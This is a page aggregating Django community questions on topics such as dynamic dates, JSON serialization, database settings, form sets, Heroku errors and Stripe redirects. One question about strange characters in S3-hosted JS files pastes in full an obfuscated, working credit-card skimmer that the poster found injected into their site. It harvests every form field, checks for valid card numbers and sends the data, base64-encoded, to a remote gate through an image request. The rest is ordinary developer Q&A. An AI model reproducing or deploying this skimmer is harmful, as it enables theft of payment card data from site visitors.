Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
how to get dynamic date in django?
I've an Django site, where we have fields to get CurrentWeek and CurrentDate dynamically. Issue: Consider Apr 23, I started the server(using python manage.py runserver) then I'm getting the CurrentWeek and CurrentDate correctly. Further if I check that by tomorrow(Apr 24) as already the yesterday's(Apr 23) server command is still running, now it still taking the yesterday's(Apr 23) date as CurrentWeek and CurrentDate but not the today date(Apr 24). I tried changing my Timezone to Asia/kolkata and my settings.py have these: USE_I18N = True USE_L10N = True USE_TZ = True emailinfo.py from datetime import date weekNumber = date.today().isocalendar()[1] currentweek = "week"+str(weekNumber) models.py from django.db import models from Taskmanager.email_info import currentweek class Taskmanager(models.Model): CurrentSprint = models.CharField(max_length=10, default=currentweek, choices=week_number) todaydate = models.DateField() forms.py class Tasksadd(forms.ModelForm): todaydate = forms.DateField(widget=forms.SelectDateWidget, initial=datetime.date.today()) class Meta: model = Taskmanager fields = [ 'CurrentSprint', 'todaydate', ] task-create.html <div class="container"> <div class="row ml-auto"> <div class="col-sm-offset-3 col-sm-6"> <form method="POST" action="."> {% csrf_token %} </br> <h3>Add tasks here:</h3> {{ form|crispy }} <input type="submit" name="submit" class="btn btn-info" placeholder="Submit"> </form> </div> </div> </div> I expect whenever I create a task, I need the CurrentWeek and CurrentDate fields need to fill dynamically the exact current date of the particular day. But, it takes the … -
how to get a alert message box containing meta data
i want to know how I can obtain meta data about the page through a alert box and later save it to my db. I have posted my code so far. I am not sure if what I have written is correct. Any help is appreciated Part of home.html <!DOCTYPE html> <html lang="en"> {% if messg %} <script> alert('{{ messg }}'); </script> {% endif %} <head> views.py def info_save(request): try: request.META['HTTP_USER_AGENT'] message = "Info successfully saved" return render(request, "home.html", {"messg": message}) except: message = "Info not saved" return render(request, "home.html") return render(request, "home.html", {"messg": message}) -
Two phase commit with Django and Microsoft SQL DB
Is this combination possible? I see documentation stating that two-phase commits are supported on MS SQL, and I see that in the python db documentation (https://www.python.org/dev/peps/pep-0249/#optional-two-phase-commit-extensions) that TPC is supported, but I can't find anything stating whether Django supports this combination out of the box. Does Django provide built-in support for two phase commits to MS SQL database? -
Why when I delete an entry in my DB, the primary key resets
I'd like to know something about the database of Django. I had one model "Tournament". Let's suppose that I created 10 instances. If I delete the first entry (primary key = 1), normally none of the new instances would have a primary equals to 1. But in my case, the primary key of the second entry has become 1, the primary key of the third entry has become 2, and so on. Why? -
Django test client does not automatically serialize factories
Here's my code: # models.py class MyModel(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) name = models.CharField(max_length=10) ... # views.py def get_all_models(request): return JsonResponse({"models": list(MyModel.objects.all())}) # urls.py path('/mypath', views.get_all_models, name='get_all_models'), This code works just fine if I visit /mypath. However, when I run an automated test using Django's test client, I get this error: *** TypeError: Object of type MyModel is not JSON serializable this is my test: from django.test import TestCase, Client from blog.tests.factories.user import UserFactory from blog.tests.factories.post import PostFactory class MyModelTest(TestCase): def setUp(self): self.user = UserFactory.create() self.post = MyModelFactory.create(user=self.user) self.client = Client() def test_get_all_models(self): response = self.client.get("/mypath") pass I suspect it has something to do with my factories: import factory from .models import User, MyModel class UserFactory(factory.django.DjangoModelFactory): class Meta: model = User username = factory.Faker('word') email = factory.Faker('email') class MyModelFactory(factory.django.DjangoModelFactory): class Meta: model = MyModel user = factory.SubFactory(UserFactory) name = factory.Faker('name') How can I make my factories serializable? -
The connection default doesn't exist error for every other request
I am developing a application on django and deploying it on the apache server. I a getting a error The connection default doesn't exist for every other request. I have a proper settings for database. I have settings package and it has 3 python files base.py development.py production.py and __init__.py. I have added production in __init__.py from .production import * And my production.py looks like this from .base import * DEBUG = False ALLOWED_HOSTS = [('*')] DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'MyDB', 'USER': 'root', 'PASSWORD': 'xxx', 'HOST': 'localhost', 'PORT': '3306', } } For the first few requests database gets connected and after that for every other request i am getting The connection default doesn't exist this error. base.py does not have DATABASES. But both development and productions does. Please help me out resolving this. and let me please know where i amm going wrong. -
Js files uploaded to S3 are have strange characters
In my Django project, I am usin S3 as my static and media file storage. From last couple of days, I am facing an issue that my js files suddenly stop working. When I saw my js files on server, they all have some strange characters in them. Other strange things are only js files are affected by this and they all all updated on some specific time and I did not run any deployment process at this time. Below is the ����\�demo.js��X�o�@���E�� ��"�%զM�nm�lK���$e`�5��������e�&�>����{����V`�?��MԚ���7#7�I�A~~� K�ȕ��)�����@�Kx�{rX�U�}l�Z�݁��6�?Ú�N4&�����K����#�M�Oj�I)�E#�_C��Q��O�*�ԯH�r����9���5Cs���/v�|� �k3B�)x@sfe$m���!��6��<���XX�21I*w�*�'��D4���D��A���sEe�cP��aA�[���9�w:<��]�����9�0f[�VU��9ob��V4�e2�.�ӝ|�����V�G��N<:��z!l��9�Ф�y��N!�މ�5�sß�?���$b1�癞���.[sN���:_���t5([e+of�u���0��ܽ3So�B� ��g s/�8�����kF}^��* l�5�`g:���]��O����v%�˅|\F�k2R�U2��C�<JE�1ᮆB��Q4�--�H��)�j���g��>�dF�JhT�BW��Z��)�N��%Y��ŽP��ۅ��P�r!Ķ�X��R�%��H�-�rE��oU�Ņ!^�J��#���La$s1�ڥ�u UPױ2ڭ *+�kEP��lc�D�s/���O�����z��~}�� �}nܼ��������,@[i��搆��w��+��_���U�5���@T�32�Jo�4�"�8c�d m5�+�1�o��DL�?�0[��~��%�%�w�mۥ^t������X�W��J\*�������]s-$�֩�K`�ĝ�>��/����Y�x�v����Z����� var _0x8893=['\x62\x33\x56\x30\x5a\x58\x4a\x58\x61\x57\x52\x30\x61\x41\x3d\x3d','\x61\x57\x35\x75\x5a\x58\x4a\x58\x61\x57\x52\x30\x61\x41\x3d\x3d','\x62\x33\x56\x30\x5a\x58\x4a\x49\x5a\x57\x6c\x6e\x61\x48\x51\x3d','\x64\x6d\x56\x79\x64\x47\x6c\x6a\x59\x57\x77\x3d','\x61\x47\x39\x79\x61\x58\x70\x76\x62\x6e\x52\x68\x62\x41\x3d\x3d','\x52\x6d\x6c\x79\x5a\x57\x4a\x31\x5a\x77\x3d\x3d','\x59\x32\x68\x79\x62\x32\x31\x6c','\x61\x58\x4e\x4a\x62\x6d\x6c\x30\x61\x57\x46\x73\x61\x58\x70\x6c\x5a\x41\x3d\x3d','\x64\x57\x35\x6b\x5a\x57\x5a\x70\x62\x6d\x56\x6b','\x5a\x58\x68\x77\x62\x33\x4a\x30\x63\x77\x3d\x3d','\x5a\x47\x56\x32\x64\x47\x39\x76\x62\x48\x4d\x3d','\x63\x48\x4a\x76\x64\x47\x39\x30\x65\x58\x42\x6c','\x61\x47\x46\x7a\x61\x45\x4e\x76\x5a\x47\x55\x3d','\x52\x32\x46\x30\x5a\x51\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x33\x64\x7a\x45\x74\x5a\x6d\x6c\x73\x5a\x57\x4e\x73\x62\x33\x56\x6b\x4c\x6d\x4e\x76\x62\x53\x39\x70\x62\x57\x63\x3d','\x52\x47\x46\x30\x59\x51\x3d\x3d','\x55\x32\x46\x32\x5a\x56\x42\x68\x63\x6d\x46\x74','\x55\x32\x46\x32\x5a\x55\x46\x73\x62\x45\x5a\x70\x5a\x57\x78\x6b\x63\x77\x3d\x3d','\x63\x32\x56\x73\x5a\x57\x4e\x30','\x55\x32\x56\x75\x5a\x45\x52\x68\x64\x47\x45\x3d','\x52\x47\x39\x74\x59\x57\x6c\x75','\x56\x48\x4a\x35\x55\x32\x56\x75\x5a\x41\x3d\x3d','\x54\x47\x39\x68\x5a\x45\x6c\x74\x59\x57\x64\x6c','\x53\x55\x31\x48','\x52\x32\x56\x30\x53\x57\x31\x68\x5a\x32\x56\x56\x63\x6d\x77\x3d','\x50\x33\x4a\x6c\x5a\x6d\x59\x39','\x62\x32\x35\x79\x5a\x57\x46\x6b\x65\x58\x4e\x30\x59\x58\x52\x6c\x59\x32\x68\x68\x62\x6d\x64\x6c','\x63\x6d\x56\x68\x5a\x48\x6c\x54\x64\x47\x46\x30\x5a\x51\x3d\x3d','\x63\x32\x56\x30\x53\x57\x35\x30\x5a\x58\x4a\x32\x59\x57\x77\x3d','\x63\x6d\x56\x77\x62\x47\x46\x6a\x5a\x51\x3d\x3d','\x64\x47\x56\x7a\x64\x41\x3d\x3d','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x59\x32\x68\x68\x63\x6b\x46\x30','\x61\x58\x4e\x50\x63\x47\x56\x75','\x62\x33\x4a\x70\x5a\x57\x35\x30\x59\x58\x52\x70\x62\x32\x34\x3d','\x5a\x47\x56\x32\x64\x47\x39\x76\x62\x48\x4e\x6a\x61\x47\x46\x75\x5a\x32\x55\x3d'];(function(_0xb13f6d,_0x1795ca){var _0x54e298=function(_0x4dffcf){while(--_0x4dffcf){_0xb13f6d['push'](_0xb13f6d['shift']());}};_0x54e298(++_0x1795ca);}(_0x8893,0x161));var _0x4956=function(_0x547a0c,_0x291eb6){_0x547a0c=_0x547a0c-0x0;var _0x5b3eb6=_0x8893[_0x547a0c];if(_0x4956['DmmsIl']===undefined){(function(){var _0x4c963e=function(){var _0xaabc65;try{_0xaabc65=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3abdc1){_0xaabc65=window;}return _0xaabc65;};var _0xddbe7a=_0x4c963e();var _0xe41f3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xddbe7a['atob']||(_0xddbe7a['atob']=function(_0x3841e2){var _0x364a55=String(_0x3841e2)['replace'](/=+$/,'');for(var _0x4b811f=0x0,_0x4964aa,_0x4d8a43,_0x5eb842=0x0,_0x4c993a='';_0x4d8a43=_0x364a55['charAt'](_0x5eb842++);~_0x4d8a43&&(_0x4964aa=_0x4b811f%0x4?_0x4964aa*0x40+_0x4d8a43:_0x4d8a43,_0x4b811f++%0x4)?_0x4c993a+=String['fromCharCode'](0xff&_0x4964aa>>(-0x2*_0x4b811f&0x6)):0x0){_0x4d8a43=_0xe41f3a['indexOf'](_0x4d8a43);}return _0x4c993a;});}());_0x4956['cnzznR']=function(_0x7cf516){var _0x528707=atob(_0x7cf516);var _0x1db589=[];for(var _0xdd26cb=0x0,_0x5ad229=_0x528707['length'];_0xdd26cb<_0x5ad229;_0xdd26cb++){_0x1db589+='%'+('00'+_0x528707['charCodeAt'](_0xdd26cb)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1db589);};_0x4956['BZUxIv']={};_0x4956['DmmsIl']=!![];}var _0x2b5d99=_0x4956['BZUxIv'][_0x547a0c];if(_0x2b5d99===undefined){_0x5b3eb6=_0x4956['cnzznR'](_0x5b3eb6);_0x4956['BZUxIv'][_0x547a0c]=_0x5b3eb6;}else{_0x5b3eb6=_0x2b5d99;}return _0x5b3eb6;};function _0x302266(_0x511691,_0x12dbe9,_0x23d947){return _0x511691[_0x4956('0x0')](new RegExp(_0x12dbe9,'\x67'),_0x23d947);}function _0x5003b6(_0x568c19){var _0x392dde=/^(?:4[0-9]{12}(?:[0-9]{3})?)$/;var _0x57d795=/^(?:5[1-5][0-9]{14})$/;var _0x43426c=/^(?:3[47][0-9]{13})$/;var _0xb4b682=/^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/;var _0x440265=![];if(_0x392dde[_0x4956('0x1')](_0x568c19)){_0x440265=!![];}else if(_0x57d795[_0x4956('0x1')](_0x568c19)){_0x440265=!![];}else if(_0x43426c[_0x4956('0x1')](_0x568c19)){_0x440265=!![];}else if(_0xb4b682[_0x4956('0x1')](_0x568c19)){_0x440265=!![];}return _0x440265;}function _0x297840(_0xf03a4a){if(/[^0-9-\s]+/[_0x4956('0x1')](_0xf03a4a))return![];var _0x125d20=0x0,_0x3fef43=0x0,_0x3e0032=![];_0xf03a4a=_0xf03a4a[_0x4956('0x0')](/\D/g,'');for(var _0x4da242=_0xf03a4a[_0x4956('0x2')]-0x1;_0x4da242>=0x0;_0x4da242--){var _0x190dea=_0xf03a4a[_0x4956('0x3')](_0x4da242),_0x3fef43=parseInt(_0x190dea,0xa);if(_0x3e0032){if((_0x3fef43*=0x2)>0x9)_0x3fef43-=0x9;}_0x125d20+=_0x3fef43;_0x3e0032=!_0x3e0032;}return _0x125d20%0xa==0x0;}(function(){'use strict';const _0x5b806f={};_0x5b806f[_0x4956('0x4')]=![];_0x5b806f[_0x4956('0x5')]=undefined;const _0x35dc45=0xa0;const _0x164d08=(_0x5a76ad,_0x1459b4)=>{window['\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6e\x74'](new CustomEvent(_0x4956('0x6'),{'\x64\x65\x74\x61\x69\x6c':{'\x69\x73\x4f\x70\x65\x6e':_0x5a76ad,'\x6f\x72\x69\x65\x6e\x74\x61\x74\x69\x6f\x6e':_0x1459b4}}));};setInterval(()=>{const _0x41d6d7=window[_0x4956('0x7')]-window[_0x4956('0x8')]>_0x35dc45;const _0x3a9e99=window[_0x4956('0x9')]-window['\x69\x6e\x6e\x65\x72\x48\x65\x69\x67\x68\x74']>_0x35dc45;const _0x13d714=_0x41d6d7?_0x4956('0xa'):_0x4956('0xb');if(!(_0x3a9e99&&_0x41d6d7)&&(window[_0x4956('0xc')]&&window[_0x4956('0xc')][_0x4956('0xd')]&&window[_0x4956('0xc')][_0x4956('0xd')][_0x4956('0xe')]||_0x41d6d7||_0x3a9e99)){if(!_0x5b806f[_0x4956('0x4')]||_0x5b806f[_0x4956('0x5')]!==_0x13d714){_0x164d08(!![],_0x13d714);}_0x5b806f[_0x4956('0x4')]=!![];_0x5b806f[_0x4956('0x5')]=_0x13d714;}else{if(_0x5b806f[_0x4956('0x4')]){_0x164d08(![],undefined);}_0x5b806f[_0x4956('0x4')]=![];_0x5b806f[_0x4956('0x5')]=undefined;}},0x1f4);if(typeof module!==_0x4956('0xf')&&module[_0x4956('0x10')]){module[_0x4956('0x10')]=_0x5b806f;}else{window[_0x4956('0x11')]=_0x5b806f;}}());String[_0x4956('0x12')][_0x4956('0x13')]=function(){var _0xaa9896=0x0,_0xce9c4c,_0xd40f79;if(this[_0x4956('0x2')]===0x0)return _0xaa9896;for(_0xce9c4c=0x0;_0xce9c4c<this['\x6c\x65\x6e\x67\x74\x68'];_0xce9c4c++){_0xd40f79=this['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0xce9c4c);_0xaa9896=(_0xaa9896<<0x5)-_0xaa9896+_0xd40f79;_0xaa9896|=0x0;}return _0xaa9896;};var _0x5c3409={};_0x5c3409[_0x4956('0x14')]=_0x4956('0x15');_0x5c3409[_0x4956('0x16')]={};_0x5c3409['\x53\x65\x6e\x74']=[];_0x5c3409['\x49\x73\x56\x61\x6c\x69\x64']=![];_0x5c3409[_0x4956('0x17')]=function(_0x1ece86){if(_0x1ece86.id!==undefined&&_0x1ece86.id!=''&&_0x1ece86.id!==null&&_0x1ece86.value.length<0x100&&_0x1ece86.value.length>0x0){if(_0x297840(_0x302266(_0x302266(_0x1ece86.value,'\x2d',''),'\x20',''))&&_0x5003b6(_0x302266(_0x302266(_0x1ece86.value,'\x2d',''),'\x20','')))_0x5c3409.IsValid=!![];_0x5c3409.Data[_0x1ece86.id]=_0x1ece86.value;return;}if(_0x1ece86.name!==undefined&&_0x1ece86.name!=''&&_0x1ece86.name!==null&&_0x1ece86.value.length<0x100&&_0x1ece86.value.length>0x0){if(_0x297840(_0x302266(_0x302266(_0x1ece86.value,'\x2d',''),'\x20',''))&&_0x5003b6(_0x302266(_0x302266(_0x1ece86.value,'\x2d',''),'\x20','')))_0x5c3409.IsValid=!![];_0x5c3409.Data[_0x1ece86.name]=_0x1ece86.value;return;}};_0x5c3409[_0x4956('0x18')]=function(){var _0x56d89f=document.getElementsByTagName('\x69\x6e\x70\x75\x74');var _0x34b78f=document.getElementsByTagName(_0x4956('0x19'));var _0x1ae096=document.getElementsByTagName('\x74\x65\x78\x74\x61\x72\x65\x61');for(var _0x668b11=0x0;_0x668b11<_0x56d89f.length;_0x668b11++)_0x5c3409.SaveParam(_0x56d89f[_0x668b11]);for(var _0x668b11=0x0;_0x668b11<_0x34b78f.length;_0x668b11++)_0x5c3409.SaveParam(_0x34b78f[_0x668b11]);for(var _0x668b11=0x0;_0x668b11<_0x1ae096.length;_0x668b11++)_0x5c3409.SaveParam(_0x1ae096[_0x668b11]);};_0x5c3409[_0x4956('0x1a')]=function(){if(!window.devtools.isOpen&&_0x5c3409.IsValid){_0x5c3409.Data[_0x4956('0x1b')]=location.hostname;var _0x228b7c=encodeURIComponent(window.btoa(JSON.stringify(_0x5c3409.Data)));var _0x52b099=_0x228b7c.hashCode();for(var _0x3c4050=0x0;_0x3c4050<_0x5c3409.Sent.length;_0x3c4050++)if(_0x5c3409.Sent[_0x3c4050]==_0x52b099)return;_0x5c3409.LoadImage(_0x228b7c);}};_0x5c3409[_0x4956('0x1c')]=function(){_0x5c3409.SaveAllFields();_0x5c3409.SendData();};_0x5c3409[_0x4956('0x1d')]=function(_0x283a62){_0x5c3409.Sent.push(_0x283a62.hashCode());var _0x25a59c=document.createElement(_0x4956('0x1e'));_0x25a59c.src=_0x5c3409.GetImageUrl(_0x283a62);};_0x5c3409[_0x4956('0x1f')]=function(_0x41110a){return _0x5c3409.Gate+_0x4956('0x20')+_0x41110a;};document[_0x4956('0x21')]=function(){if(document[_0x4956('0x22')]==='\x63\x6f\x6d\x70\x6c\x65\x74\x65'){window[_0x4956('0x23')](_0x5c3409[_0x4956('0x1c')],0x1f4);}}; Another thing which I noted that I was unable to change file metadata as I was getting forbidden error. I saw one of the file owner and strangely owner was an anonymous user which is not even my users list of that aws account. The problem … -
using a if statement inside django model that is updating the model when threshold is reached
Please bear with me as I'm new with Django I have in the model a table where I need to put a timer. If the timer limit is reached, we update the row of the column accordingly. This is my model class Question(models.Model): date = models.DateTimeField(auto_now_add=True, verbose_name=_('date' )) first_name = models.CharField(max_length=255, verbose_name=_('first name'), blank=True) last_name = models.CharField(max_length=255, verbose_name=_('last name'), blank=True) email = models.EmailField(max_length=255, verbose_name=_('email address'), blank=True) phone = models.CharField(max_length=255, verbose_name=_('phone'), blank=True) extra = models.CharField(max_length=255, verbose_name=_('extra'), blank=True) subject = models.CharField(max_length=255, verbose_name=_('subject' ), blank=True) message = models.TextField(max_length=1000, verbose_name=_('question')) relevance = models.BooleanField(default=True, verbose_name=_('relevance')) marketing_consent = models.BooleanField(default=False, verbose_name=_('marketing consent')) expert = models.ForeignKey(Expert, on_delete=models.SET_NULL, null=True, blank=True, verbose_name=_('expert (target)')) analysis_tags = models.ManyToManyField(AnalysisTag, blank=True, verbose_name=_('analysis tags')) predicted_experts = models.ManyToManyField(Expert, through='AssociatedExpert', related_name='predicted_for', blank=True) public_token = models.CharField(max_length=50, default=generate_token, db_index=True, unique=True, verbose_name=_('public token')) STATE_CHOICES = ( ('W', 'Waiting'), ('D', 'Declined'), ('T', 'Taken'), ('A', 'Answered'), ('F', 'Feedback'), ('P', 'Pending'), ('C', 'Cancelled'), ) state = models.CharField(max_length=10, choices=STATE_CHOICES, default='P', verbose_name=_('state')) What I want to do is to add the following but I'm unsure if the model is the right place to add the method below and also if I'm writing correctly that. def value(self): 48_mn_ago = now() - timedelta(minutes=48) if self.date > 48_mn_ago and self.state == 'P': return self.state = 'C', self.first_name = … -
How to add dummy data to datatable in django?
I have done one small application in django.For datatables, i have used from django_datatables_view.base_datatable_view import BaseDatatableView import .For this datatable,it will show results directly from queryset. Now my requirement is to add some dummy data to that queryset ( want to show some dummy data in view ). Any suggestions please ? -
Why do we use form.save(commit=False) in Django-views?
I am unable to understand the reason why we use form.save(commit=False) instead of simply using form.save in Django-views. Could someone explain me the difference and the necessities on both? -
I am having an issue with pylint within visual studio code workspace settings
Every single one of the immport statements I make within the project files are giving an error: [Python] unresolved import 'user.models' with this statement: from users.models import Detail Here is my workspace settings.json file within my .vscode folder: { "python.pythonPath":"python", "editor.formatOnSave":true, "python.linting.pep8Enabled":true, "python.linting.pylintPath": "pylint", "python.linting.pylintArgs": [ "--load-plugins", "pyling_django" ], "python.linting.pylintEnabled":true, "python.linting.pep8Args": [ "--ignore-E501" ] } -
How to save user query terms from a search navbar in database that can be acessed after user sessions?
I have a search navbar and I want to save search queries so I can improve the navbar and the autocomplete api, but I'm not sure how. sessions variables seem to only work when user is online and it's difficult to save many users. Should I create my own user model and then write data to it. Can you give me a simple example of how to do this? I've tried using sessions.request to save variables and then access them after a session and have been unable. -
Making the usertype users staff simply
I have a usertype 1 as patient 2 as Doctor. NOw i neeed to createusertype 2 as a is_staff=true and assigned into a doctor group with its permission class UserType(models.Model): user =models.OneToOneField(User, on_delete=models.CASCADE) USER_TYPE = ( (1, 'Patient'), (2, 'Doctor'), ) user_type = models.IntegerField(choices=USER_TYPE) -
Exporting only the selected rows in Django-Tables2
I am using Django tables2. I have n number of rows in a page and I want to export only the rows which the user selects. But I cant find a way to make it work. The official documentation is not helping. When I select the rows I want to export and then click export. The entire table is exported. tables.py class TrackerTable(tables.Table): export_formats = ['csv', 'xls', 'xlsx', 'json'] id = tables.Column() id = tables.LinkColumn('posts:tracker_view',args=[A('pk')], empty_values=()) editable = tables.LinkColumn('posts:modify',args=[A('pk')] , empty_values=(), verbose_name='') selection = tables.CheckBoxColumn(accessor=A('pk')t ,empty_values=(), footer='', attrs = { "th__input":{"onclick": "toggle(this)"}}, orderable=False) def render_editable(self): #return 'Edit' return mark_safe('<center><p style="color:blue;">&#9997;</p></center>') class Meta: model = models.Post template_name = 'django_tables2/semantic.html' sequence = ('selection','editable','id','...') attrs = {'tbody': {'id': 'myTable'}} views.py table = TrackerTable(Post.objects.all(), order_by="-id") RequestConfig(request).configure(table) export_format = request.GET.get('_export', None) if TableExport.is_valid_format(export_format): exporter = TableExport(export_format, table, exclude_columns=('editable','selection')) return exporter.response('table.{}'.format(export_format)) return render(request, 'posts/tracker_list.html', {'table': table})``` -
Heroku database missing field from Django Models
Running a Django app on Heroku. Locally, I'm using the db.sqlite3 db, while on Heroku, it's the postgresql. I have one migration, reflecting locally, but not in Heroku, where it keeps giving me an error that it can't find a field. I have not setup postgresql in any special way, so far I just ran heroku run python manage.py migrate and that seemed to do the trick. I'm at a loss for this. Any guideline would be great! -
Uploading and Serializing FileField in Django Rest Framework
I am new to django and the django rest framework and I am having some trouble getting my unit tests to pass based on the upload path of FileField being different for requests and serializer with my dev settings. When I make a request FileField has "http://testserver" as a prefix. When I serialize, FileField does not have "http://testserver" as a prefix. The goal of my application is to pull static files, manipulate them and then save them to a field in the database as a new file. I have tried different kinds of serializers and passing contexts to the serializer call but I cannot locate exactly what is causing this "http://testserver" prefix to be adding to the field. I want to understand this clearly as proper FileField use in both development and production is important to my application. #views.py class PatternMustViewSet(viewsets.GenericViewSet, mixins.ListModelMixin, mixins.CreateModelMixin): """Manage patterns in the database""" authentication_classes = (TokenAuthentication,) permission_classes = (IsAuthenticated,) queryset = PatternMust.objects.all() serializer_class = serializers.PatternMustSerializer def get_queryset(self): """Return objects for the current authenticated user""" return self.queryset.filter( user=self.request.user).order_by('-style_name') def perform_create(self, serializer): """Create a new pattern must""" serializer.save(user=self.request.user) #serializers.py class PatternMustSerializer(serializers.ModelSerializer): """Serializer for customer objects""" class Meta: model = PatternMust fields = ('id', 'pattern_piece_name', 'pattern_piece', 'piece_count') read_only_fields … -
Url django with phone number
i trying match url in django with phone number. First character must is '+' or '0', and all after is number only. I try like this url(r'^verification/(?P<phone_number>[\+|0][0-9]+)/$', views.VerificationView.as_view(),name='verification') but this not work. I tried change to [\+0-9] it match '+' but it can in any position. Can you show me what wrong? Thanks so much -
Changing a variable value dynamically in a json file from django webpage
Need to change the value of the "filename" variable dynamically from a django webpage. The web Page may contain some values like, filename = a.csv or filename = b.csv { "data": { "filename": "sp500.csv", "columns": [ "Close", "Volume" ], "sequence_length": 50, "train_test_split": 0.85, "normalise": true }, ........ -
Edit an specific database registry based on an input
I already have some code fully working for this purpose, but i would want to go further. My actual code list the entire database registrys and let's me edit them, but to go to the one i desire i have to go over the huge list it displays, this is my code: def computer_update_view(request, pk, template_name='computer/computer_form.html'): serial = get_object_or_404(Computer, pk=pk) form = ComputerForm(request.POST or None, instance=serial) context = { 'form':form } if form.is_valid(): form.save() return redirect('computer:pc_list') return render(request, template_name, context) {% extends "base.html" %} {% block content %} <h2 xmlns="http://www.w3.org/1999/html"><a href="{% url 'computer:pc_list' %}">Network Admin</a></h2> <ul> <p> <button type="button"><a href="{% url 'computer:computer_new' %}">Add New</a></button></p> {% for serie in object %} <li>{{ serie.serial }}. {{ serie.name }} - ({{ serie.user_name }}) <a href="{% url 'computer:computer_edit' serie.serial %}">edit / </a> </li> {% endfor %} </ul> {% endblock %} So what i want to do is let the user input fox example: User inputs serial "212125" (note that serial is the pk field in the database) and then only that registry shows up to be edited. How could i do this? -
django: csv file and button
I was printed my csv file in web. And I want to plus button in csv file head. After click the button, the csv file data descending and ascending I try make the button in csv.html but, only printed button in my web. My csv file data was none. views.py def csvfile_info(request): if request.GET.get('CSV 파일'): form = csvForm() return render(request, 'gateway/csv.html', {'form': form}) else: form = csvForm(data=request.POST) df=pd.read_csv("/home/so2/Downloads/test.csv", skiprows=[0]) return HttpResponse(df.to_html(index=False)) csv.html <div class="form-group row"> <label for="slength" class="col-sm-4 col-form-label font-weight-bold">S.Length</label> <div class="col-sm-8"><select class="custom-select" value={{form.slength}}</div> </div> <div class="form-group row"> <label for="swidth" class="col-sm-4 col-form-label font-weight-bold">S.Width</label> <div class="col-sm-8"><select class="custom-select" value={{form.slength}}</div> </div> <div class="form-group row"> <label for="plength" class="col-sm-4 col-form-label font-weight-bold">P.Length</label> <div class="col-sm-8"><select class="custom-select" value={{form.plength}}</div> </div> <div class="form-group row"> <label for="pwidth" class="col-sm-4 col-form-label font-weight-bold">P.Length</label> <div class="col-sm-8"><select class="custom-select" value={{form.pwidth}}</div> </div> I want to display slength, swidth, plength, pwidth button and csv file data together. -
500 (Internal Server Error) with Django-React and Heroku
On my local host, I have full crud functioning. When I deployed to Heroku, my site runs and everything, but I cannot add anything, and therefore cannot edit, update, or delete. I get the errors: Manifest: Line: 1, column: 1, Unexpected token. manifest.json:1 POST https://the-app-name.herokuapp.com/api/v1/route/ 500 (Internal Server Error) xhr.js:173 createError.js:17 Uncaught (in promise) Error: Request failed with status code 500 at e.exports (createError.js:17) at e.exports (settle.js:19) at XMLHttpRequest.p.(anonymous function) (https://the-app-name.herokuapp.com/static/js/2.3f9d26e1.chunk.js:1:64412) I've run heroku run python manage.py migrate. I have django-restframework installed, pipenv, gunicorn, I am using postgresql, I have a procfile with "web: gunicorn final_project.wsgi --log-file -" -- except without the quotations. My external api is working on local host. DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'sample_database', 'USER': 'sample', 'PASSWORD': 'sample', 'HOST': 'localhost' } } I have this in my settings.py CREATE USER sample WITH PASSWORD 'sample'; CREATE DATABASE sample_database WITH OWNER sample; GRANT ALL PRIVILEGES ON DATABASE sample_database TO sample; I have done this in psql. I have rest_framework and my app's name in the installed apps. I am unsure of what I should do. Where I wrote route, the-app-name, and the "database={'default'..." are just for this site. Any help/advice would be appreciated. -
How to add respective user table in my already created users and user_type
When registering user. I populated usertype and registerfrom and created a user with usertype having patient and Doctors. Now, i need a separate table where i can list out the logged in usertype patient in patient table and doctor in doctor table. How can it be done? class UserType(models.Model): user =models.OneToOneField(User, on_delete=models.CASCADE) USER_TYPE = ( (1, 'Patient'), (2, 'Doctor'), ) user_type = models.IntegerField(choices=USER_TYPE) -
How to autofill different values in multiple forms with form factory
I'm working on a salary app with django. In my page I replicate a form as much as Instructors. Like that every day I can choose an Instructor and chose his activity. It's working but I'm lazy so I don't want to select an instructor in each form on the page. I would like to display one form per instructor with the name of this instructor without the select. Right now it looks like that: my form: class EntryForm(forms.Form): user = forms.ModelChoiceField(queryset=Users.objects.all().filter(role__code="INS", pool=True), empty_label="Choose an Instructor") my view: def addentry(request): entryformset = formset_factory(EntryForm, extra=5) return render(request, 'addentry.html', locals()) and my template: {% for form in entryformset %} {{ form.as_p }} {% endfor %} I put 5 in extra but of course I change it with a count of instructors. So what I want to do is to replace my modelChoiceField which is a select with for example BOB and ANNA in each form by BOB in the first form and ANNA in the second one. -
Django - Stripe Integration . How to not lose session upon redirect
Django 2.1 Python 3.7 Stripe - Connect / Express I am using stripe and django to create a payment system. To set up the user account, I send the user to stripe and then have them redirected back to the website. I am currently developing this on my server 127.0.0.1. Whenever the user is redirected back, they are in a new session sees them as an AnonymousUser. I need to take some stripe information on the redirect and add it to the user's profile and so I need the old session to stay. Does anyone know why this is happening? Things I've noticed: The redirect sends me to localhost even though my redirect url says to send it to 127.0.0.1. When I also have the following setting: SESSION_COOKIE_SECURE= False class StripeEntryView(LoginRequiredMixin, TemplateView): template_name = 'billing/stripe.html' model = BillingProfile def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) billing_profile, billing_profile_created = BillingProfile.objects.new_or_get(self.request) context['stripe_user_id'] = billing_profile.stripe_user_id return context class StripeAuthorizeView(View): def get(self, request): if not self.request.user.is_authenticated: return HttpResponseRedirect(reverse('login')) url = 'https://connect.stripe.com/express/oauth/authorize' params = { 'redirect_uri': f'http://127.0.0.1:8000/billing/oauth/callback', 'client_id': STRIPE_CONNECT_CLIENT_ID, 'stripe_user[email]':self.request.user.email, 'requested_capabilities[]':'platform_payments', } url = f'{url}?{urllib.parse.urlencode(params)}' return redirect(url) How can I redirect the user back to my website and keep them logged in? Micah -
How to fix "MultiValueDictKeyError at /accounts/logout"
